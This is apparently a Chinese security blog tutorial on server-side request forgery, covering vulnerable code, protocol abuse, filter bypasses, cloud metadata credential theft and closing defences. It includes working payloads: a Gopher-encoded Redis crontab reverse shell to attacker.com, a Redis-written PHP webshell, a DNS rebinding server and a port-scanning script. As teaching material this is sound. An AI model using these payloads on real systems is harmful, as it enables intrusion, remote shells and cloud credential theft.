SSRF服务器端请求伪造完全指南:原理、利用技巧与防御
免责声明:本文仅供学习交流使用,请勿用于非法用途。进行安全测试时,请确保已获得目标系统的合法授权。
目录
什么是SSRF
SSRF(Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造形成、由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
SSRF与CSRF的区别
| 漏洞类型 | 攻击发起方 | 攻击目标 | 危害程度 |
|---|---|---|---|
| CSRF | 客户端(浏览器) | 用户的已认证操作 | 中 |
| SSRF | 服务端 | 内网服务、本地资源 | 极高 |
SSRF的危害
| 危害类型 | 具体表现 |
|---|---|
| 内网端口扫描 | 探测内网开放的服务和端口 |
| 内网应用攻击 | 攻击内网中未授权或存在漏洞的应用 |
| 本地文件读取 | 通过file协议读取服务器本地文件 |
| 服务指纹识别 | 识别内网中运行的服务类型和版本 |
| 云凭证窃取 | 获取云服务器元数据中的临时凭证 |
| 内网服务攻击 | 攻击Redis、FastCGI、MySQL等内网服务 |
| 协议走私 | 通过Gopher等协议发送自定义TCP数据 |
SSRF攻击流程
1
攻击者构造恶意URL → 服务端发起请求 → 访问内网/本地资源 → 返回敏感信息/执行恶意操作
SSRF原理
漏洞产生原因
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。
例如,一个常见的图片加载功能:
1
2
3
4
5
6
<?php
// 存在漏洞的代码
$url = $_GET['url'];
$content = file_get_contents($url);
echo $content;
?>
攻击者可以构造如下请求:
1
http://target.com/load.php?url=file:///etc/passwd
服务端会读取本地 /etc/passwd 文件并返回给攻击者。
漏洞的本质
SSRF漏洞的本质是信任了用户提供的URL,并将其作为服务端请求的参数。由于服务端通常拥有更高的网络权限(可以访问内网),攻击者可以利用这一点突破网络边界。
有回显与无回显SSRF
| 类型 | 特点 | 利用难度 |
|---|---|---|
| 有回显SSRF | 服务端返回请求结果 | 低 |
| 无回显SSRF(Blind SSRF) | 服务端不返回结果,需通过其他方式判断 | 高 |
SSRF漏洞挖掘
常见存在SSRF的场景
1. 图片加载与下载
通过URL地址加载或下载图片,常用于头像上传、图片预览等功能。
1
http://target.com/image.php?url=http://example.com/pic.jpg
2. 网页内容分享
通过URL地址分享网页内容到社交平台。
1
http://target.com/share?url=http://example.com/article
3. 在线翻译
通过URL地址翻译对应网页的内容。
1
http://target.com/translate?url=http://example.com/page
4. 转码服务
将网页内容转为适合移动端浏览的格式。
1
http://target.com/convert?url=http://example.com/page
5. 文件收藏功能
收藏文章或图片时获取远程资源。
1
http://target.com/collect?url=http://example.com/resource
6. 未公开的API
通过API获取远程XML文件或数据。
1
http://target.com/api/fetch?url=http://example.com/data.xml
漏洞挖掘关键词
使用Google Hacking或代码审计时,关注以下关键词:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
share
wap
url
link
src
source
target
u
display
sourceURL
imageURL
domain
path
location
proxy
fetch
漏洞挖掘思路
- 寻找发起网络请求的功能点:所有目标服务器会从自身发起请求的功能点
- 检查参数可控性:确认我们可以控制请求的目标地址
- 测试各种协议:尝试file、dict、gopher等协议
- 测试内网地址:尝试访问127.0.0.1、10.0.0.0/8等内网地址
产生SSRF的函数
PHP中的危险函数
1. file_get_contents()
1
2
3
4
5
6
7
8
9
10
<?php
if (isset($_POST['url'])) {
$content = file_get_contents($_POST['url']);
$filename = './images/' . rand() . 'img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>
注意事项:
- 默认不支持gopher协议
- 关于Gopher的302跳转存在bug
- file_get_contents的gopher协议不能URL编码
2. fsockopen()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
function GetFile($host, $port, $link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents = '';
while (!feof($fp)) {
$contents .= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
3. curl_exec()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if (isset($_POST['url'])) {
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj, CURLOPT_URL, $link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($curlobj);
curl_close($curlobj);
$filename = './curled/' . rand() . '.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
注意事项:
- curl_exec() 默认不跟踪跳转
- curl/libcurl 7.43 上gopher协议存在bug(%00截断),7.49版本可用
Java中的危险类
1
2
3
4
5
6
7
8
9
10
11
// URL类
URL url = new URL(request.getParameter("url"));
URLConnection conn = url.openConnection();
// HttpClient类
HttpClient client = new HttpClient();
GetMethod method = new GetMethod(request.getParameter("url"));
client.executeMethod(method);
// Request类
Request.Get(request.getParameter("url")).execute();
Python中的危险函数
1
2
3
4
5
6
7
8
9
10
import urllib.request
import requests
# urllib
url = request.args.get('url')
info = urllib.request.urlopen(url).info()
# requests
url = request.args.get('url')
response = requests.get(url)
URL伪协议利用
libcurl支持的协议除了http/https,还有一些可利用的协议:
1. file:// 协议
用于从文件系统中获取文件内容。
1
2
3
4
file:///etc/passwd
file:///C:/Windows/win.ini
file:///proc/self/environ
file:///proc/self/cmdline
利用示例:
1
http://target.com/ssrf.php?url=file:///etc/passwd
2. dict:// 协议
字典服务器协议,可用于查看端口、获取服务信息等。
1
2
3
dict://127.0.0.1:3306/info
dict://127.0.0.1:6379/info
dict://127.0.0.1:22/showserver
利用示例:
1
http://target.com/ssrf.php?url=dict://127.0.0.1:3306/info
3. gopher:// 协议
Gopher是SSRF中的神器,支持发送多行数据,常用于构造复杂的TCP数据包。
Gopher协议格式
1
gopher://<host>:<port>/<type><path>
攻击Redis
Redis未授权访问时,可以通过Gopher写入WebShell或计划任务。
Payload构造:
1
2
3
4
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/attacker.com/4444 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
URL编码后:
1
gopher://127.0.0.1:6379/_set%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fattacker.com%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0A
攻击FastCGI
通过Gopher攻击PHP-FPM,实现RCE。
4. ftp:// / sftp:// 协议
SSH文件传输协议,可用于匿名访问或爆破。
1
2
ftp://anonymous:anonymous@127.0.0.1:21
sftp://user:pass@127.0.0.1:22
5. tftp:// 协议
简单文件传输协议,基于UDP。
1
tftp://127.0.0.1:69/config.txt
6. ldap:// / ldaps:// 协议
轻量级目录访问协议。
1
2
ldap://127.0.0.1:389/dc=example,dc=com
ldaps://127.0.0.1:636/dc=example,dc=com
7. http/https 协议
最常用的协议,用于访问Web服务。
1
2
3
http://127.0.0.1:80/admin
http://10.0.0.1:8080/manager
https://169.254.169.254/latest/meta-data/
SSRF绕过技巧
一、IP地址绕过
1. 进制转换
| 表示方式 | 127.0.0.1示例 |
|---|---|
| 十进制 | http://2130706433 |
| 八进制 | http://0177.0.0.1 |
| 十六进制 | http://0x7f.0.0.1 |
| 十六进制(无点) | http://0x7f000001 |
| 混合进制 | http://0177.0.0.0x1 |
2. 特殊域名
利用xip.io或nip.io等域名服务:
1
2
3
http://127.0.0.1.xip.io
http://www.127.0.0.1.nip.io
http://mysite.10.0.0.1.xip.io
3. 使用@符号
利用URL解析差异:
1
2
http://example.com@127.0.0.1
http://example.com@127.0.0.1/admin
4. 使用#号
1
http://127.0.0.1#example.com
5. 使用?号
1
http://127.0.0.1?example.com
6. 使用反斜杠
1
2
http://127.0.0.1\\example.com
http://127.0.0.1%5cexample.com
7. 使用句号代替点
1
http://127。0。0。1
8. 使用IPv6
1
2
3
4
http://[::1]
http://[::127.0.0.1]
http://[0:0:0:0:0:0:0:1]
http://[::ffff:127.0.0.1]
9. 使用封闭字母数字
1
http://①②⑦.⓪.⓪.①
特殊字符列表:
1
2
3
4
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
二、短网址绕过
使用短网址服务隐藏真实IP:
1
2
3
4
http://dwz.cn/xxxxx
http://t.cn/xxxxx
http://bit.ly/xxxxx
http://tinyurl.com/xxxxx
三、DNS重绑定(DNS Rebinding)
利用DNS解析的时间差,绕过基于DNS的校验。
原理:
- 第一次DNS查询返回合法的外网IP
- 第二次DNS查询(实际请求时)返回内网IP
实现方法:
使用TTL=0的域名:设置DNS记录的TTL为0,使客户端每次都重新查询
- 绑定多条A记录:
1 2
example.com. IN A 104.160.43.154 example.com. IN A 192.168.0.1
有1/4的概率成功(第一次外网IP,第二次内网IP)
- 自建DNS服务器:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server
record = {}
class DynamicResolver(object):
def _doDynamicResponse(self, query):
name = query.name.name
if name not in record or record[name] < 1:
ip = "104.160.43.154" # 第一次返回外网IP
else:
ip = "192.168.0.1" # 第二次返回内网IP
if name not in record:
record[name] = 0
record[name] += 1
print(name + " ===> " + ip)
answer = dns.RRHeader(
name=name,
type=dns.A,
cls=dns.IN,
ttl=0,
payload=dns.Record_A(address=b'%s' % ip, ttl=0)
)
return [answer], [], []
def query(self, query, timeout=None):
return defer.succeed(self._doDynamicResponse(query))
def main():
factory = server.DNSServerFactory(
clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
)
protocol = dns.DNSDatagramProtocol(controller=factory)
reactor.listenUDP(53, protocol)
reactor.run()
if __name__ == '__main__':
main()
四、协议限制绕过
当限制只能使用http/https协议时:
1. 使用302跳转
搭建一个跳转服务:
1
2
3
<?php
header("Location: gopher://127.0.0.1:6379/_");
?>
然后请求:
1
http://target.com/ssrf.php?url=http://attacker.com/redirect.php
2. 使用短网址跳转
短网址服务通常会进行302跳转。
五、CRLF注入绕过
利用CRLF(回车换行)进行HTTP头部注入:
1
http://target.com/?url=http://example.com%0d%0aHost:fuzz.com%0d%0a
编码说明:
%0d→\r→ 回车%0a→\n→ 换行
六、黑名单绕过
过滤了localhost
1
2
3
4
5
6
7
8
9
127.0.0.1
127.1
127.0.1
0.0.0.0
0
::1
[::1]
[::]
[0000:0000:0000:0000:0000:0000:0000:0001]
过滤了127.0.0.1
1
2
3
4
5
2130706433(十进制)
0177.0.0.1(八进制)
0x7f.0.0.1(十六进制)
127。0。0。1(中文句号)
127.0.0.1.xip.io
云环境元数据攻击
云元数据服务介绍
云服务器(AWS、阿里云、腾讯云等)提供元数据服务,用于获取实例的配置信息、临时凭证等。元数据服务的地址通常是:
1
169.254.169.254
AWS元数据服务
旧版IMDSv1(无认证)
1
2
3
4
5
6
7
8
9
10
11
# 获取实例元数据
curl http://169.254.169.254/latest/meta-data/
# 获取IAM角色名
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 获取临时凭证
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# 获取用户数据
curl http://169.254.169.254/latest/user-data
新版IMDSv2(有认证)
需要会话令牌:
1
2
3
4
5
# 获取令牌
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
# 使用令牌访问
curl -H "X-aws-ec2-metadata-token: <token>" http://169.254.169.254/latest/meta-data/
阿里云元数据服务
1
2
3
4
5
6
7
8
# 获取实例元数据
curl http://100.100.100.200/latest/meta-data/
# 获取RAM角色
curl http://100.100.100.200/latest/meta-data/ram/security-credentials/
# 获取临时凭证
curl http://100.100.100.200/latest/meta-data/ram/security-credentials/<role-name>
腾讯云元数据服务
1
2
3
4
5
# 获取实例元数据
curl http://169.254.169.254/latest/meta-data/
# 获取CAM角色
curl http://169.254.169.254/latest/meta-data/cam/security-credentials/
华为云元数据服务
1
2
# 获取实例元数据
curl http://169.254.169.254/openstack/latest/meta_data.json
利用SSRF获取云凭证
攻击步骤:
发现SSRF漏洞:确认目标存在SSRF且可以访问169.254.169.254
- 获取元数据:
1
http://target.com/ssrf.php?url=http://169.254.169.254/latest/meta-data/
- 获取IAM角色:
1
http://target.com/ssrf.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
- 获取临时凭证:
1
http://target.com/ssrf.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
- 利用凭证:使用获取的AccessKey和SecretKey访问云服务资源。
Capital One数据泄露案例
2019年,Capital One发生了大规模数据泄露事件,攻击者利用SSRF漏洞:
- 通过SSRF访问AWS元数据服务
- 获取IAM角色的临时凭证
- 使用凭证访问S3存储桶
- 窃取超过1亿用户的个人信息
实战攻击案例
案例1:通过SSRF读取本地文件
场景:某网站提供图片预览功能
1
2
3
4
5
6
<?php
$url = $_GET['url'];
$content = file_get_contents($url);
header('Content-Type: image/jpeg');
echo $content;
?>
攻击步骤:
- 正常请求:
1
http://target.com/preview.php?url=http://example.com/image.jpg
- 尝试读取本地文件:
1
http://target.com/preview.php?url=file:///etc/passwd
- 读取应用配置文件:
1 2 3
http://target.com/preview.php?url=file:///var/www/html/config.php http://target.com/preview.php?url=file:///proc/self/environ http://target.com/preview.php?url=file:///proc/self/cmdline
案例2:通过SSRF攻击内网Redis
场景:内网Redis未设置密码
攻击步骤:
- 探测Redis端口:
1
http://target.com/ssrf.php?url=dict://127.0.0.1:6379/info
使用Gopher写入WebShell:
构造Redis命令:
1 2 3 4 5
flushall set 1 '<?php eval($_POST[1]);?>' config set dir /var/www/html config set dbfilename shell.php save
- URL编码并发送:
1
gopher://127.0.0.1:6379/_flushall%0D%0Aset%201%20%27%3C%3Fphp%20eval%28%24_POST%5B1%5D%29%3B%3F%3E%27%0D%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml%0D%0Aconfig%20set%20dbfilename%20shell.php%0D%0Asave%0D%0A
案例3:通过SSRF进行内网端口扫描
场景:无回显SSRF,通过响应时间判断端口状态
攻击脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time
target = "http://target.com/ssrf.php?url="
ports = [21, 22, 23, 25, 53, 80, 110, 143, 443, 445, 3306, 3389, 5432, 6379, 8080, 9200]
for port in ports:
url = f"{target}http://127.0.0.1:{port}"
start = time.time()
try:
response = requests.get(url, timeout=5)
elapsed = time.time() - start
if elapsed < 1:
print(f"Port {port}: OPEN (fast response)")
elif elapsed < 3:
print(f"Port {port}: MAYBE OPEN (medium response)")
else:
print(f"Port {port}: CLOSED or FILTERED (slow/no response)")
except:
print(f"Port {port}: ERROR")
案例4:绕过IP限制访问内网
场景:应用过滤了127.0.0.1和localhost
绕过方法:
- 使用进制转换:
1 2
http://target.com/ssrf.php?url=http://2130706433/admin http://target.com/ssrf.php?url=http://0177.0.0.1/admin
- 使用特殊域名:
1
http://target.com/ssrf.php?url=http://127.0.0.1.nip.io/admin
- 使用DNS重绑定:
1
http://target.com/ssrf.php?url=http://rebind.example.com/admin
案例5:CTF题目实战
题目描述:某CTF题目提供了一个SSRF点,但限制了只能访问http/https协议。
解题步骤:
- 发现302跳转绕过: 在自己的服务器上创建跳转脚本:
1 2 3
<?php header("Location: gopher://127.0.0.1:6379/_info"); ?>
利用短网址: 使用短网址服务生成跳转链接。
- 获取Flag: 通过Gopher协议攻击内网Redis或FastCGI获取flag。
防御措施
1. 输入验证和过滤
白名单验证
只允许访问特定的域名或IP:
1
2
3
4
5
6
7
8
9
<?php
$allowed_hosts = ['api.example.com', 'cdn.example.com'];
$url = $_GET['url'];
$parsed = parse_url($url);
if (!in_array($parsed['host'], $allowed_hosts)) {
die('Invalid URL');
}
?>
协议限制
只允许http和https协议:
1
2
3
4
5
6
7
8
<?php
$url = $_GET['url'];
$parsed = parse_url($url);
if (!in_array($parsed['scheme'], ['http', 'https'])) {
die('Invalid protocol');
}
?>
2. 禁用危险协议
在curl中禁用危险协议:
1
2
3
4
5
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
?>
3. 限制请求端口
只允许访问常用端口:
1
2
3
4
5
6
7
8
9
10
<?php
$allowed_ports = [80, 443, 8080, 8443];
$url = $_GET['url'];
$parsed = parse_url($url);
$port = isset($parsed['port']) ? $parsed['port'] : ($parsed['scheme'] === 'https' ? 443 : 80);
if (!in_array($port, $allowed_ports)) {
die('Invalid port');
}
?>
4. 内网IP黑名单
禁止访问内网IP地址:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
function is_private_ip($ip) {
$private_ranges = [
'10.0.0.0/8',
'172.16.0.0/12',
'192.168.0.0/16',
'127.0.0.0/8',
'169.254.0.0/16',
'0.0.0.0/8',
'::1/128',
'fc00::/7',
'fe80::/10'
];
foreach ($private_ranges as $range) {
if (ip_in_range($ip, $range)) {
return true;
}
}
return false;
}
$url = $_GET['url'];
$host = parse_url($url, PHP_URL_HOST);
$ip = gethostbyname($host);
if (is_private_ip($ip)) {
die('Access to internal resources is not allowed');
}
?>
5. 统一错误信息
避免根据错误信息判断端口状态:
1
2
3
4
5
6
7
8
9
10
<?php
$url = $_GET['url'];
try {
$content = file_get_contents($url);
echo $content;
} catch (Exception $e) {
// 统一错误信息,不暴露内部细节
echo 'Failed to fetch content';
}
?>
6. 使用URL解析库
使用专业的URL解析库,避免解析差异:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from urllib.parse import urlparse
import socket
def is_safe_url(url):
parsed = urlparse(url)
# 检查协议
if parsed.scheme not in ['http', 'https']:
return False
# 解析IP
try:
ip = socket.gethostbyname(parsed.hostname)
except:
return False
# 检查是否是内网IP
if is_private_ip(ip):
return False
return True
7. 网络层隔离
- 使用防火墙限制服务器的出站连接
- 将应用部署在隔离的网络环境中
- 使用VPC安全组限制实例间通信
8. 云环境防护
AWS IMDSv2防护
强制使用IMDSv2:
1
2
3
4
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-endpoint enabled
最小权限原则
- 为应用分配最小权限的IAM角色
- 避免使用具有广泛权限的凭证
- 定期轮换访问密钥
总结
防御要点
- 输入验证:对所有用户输入的URL进行白名单验证
- 协议限制:只允许必要的协议(http/https)
- 端口限制:限制可访问的端口范围
- IP过滤:禁止访问内网IP和元数据服务地址
- 统一错误:避免通过错误信息泄露内部信息
- 网络隔离:使用防火墙和网络隔离技术
- 最小权限:应用以最小权限运行,限制潜在危害
安全开发建议
对于开发者:
- 永远不要信任用户提供的URL
- 使用白名单而非黑名单进行验证
- 禁用不必要的URL协议
- 对请求目标进行DNS解析和IP检查
- 使用专业的URL解析库
- 定期进行安全审计
对于安全研究人员:
- 在进行渗透测试前确保获得合法授权
- 使用隔离的测试环境进行漏洞研究
- 负责任地披露漏洞
- 遵守相关法律法规和道德准则
学习资源
参考资源
- OWASP Server-Side Request Forgery
- PortSwigger Web Security Academy - SSRF
- PayloadsAllTheThings - SSRF
- HackTricks - SSRF
- AWS Metadata Service Documentation
- 阿里云元数据服务
- Gopher协议利用
- SSRFmap - 自动化SSRF测试工具
本文仅供学习交流使用,请勿用于非法用途。进行安全测试时,请确保已获得目标系统的合法授权。
本文最后更新于:2026年3月17日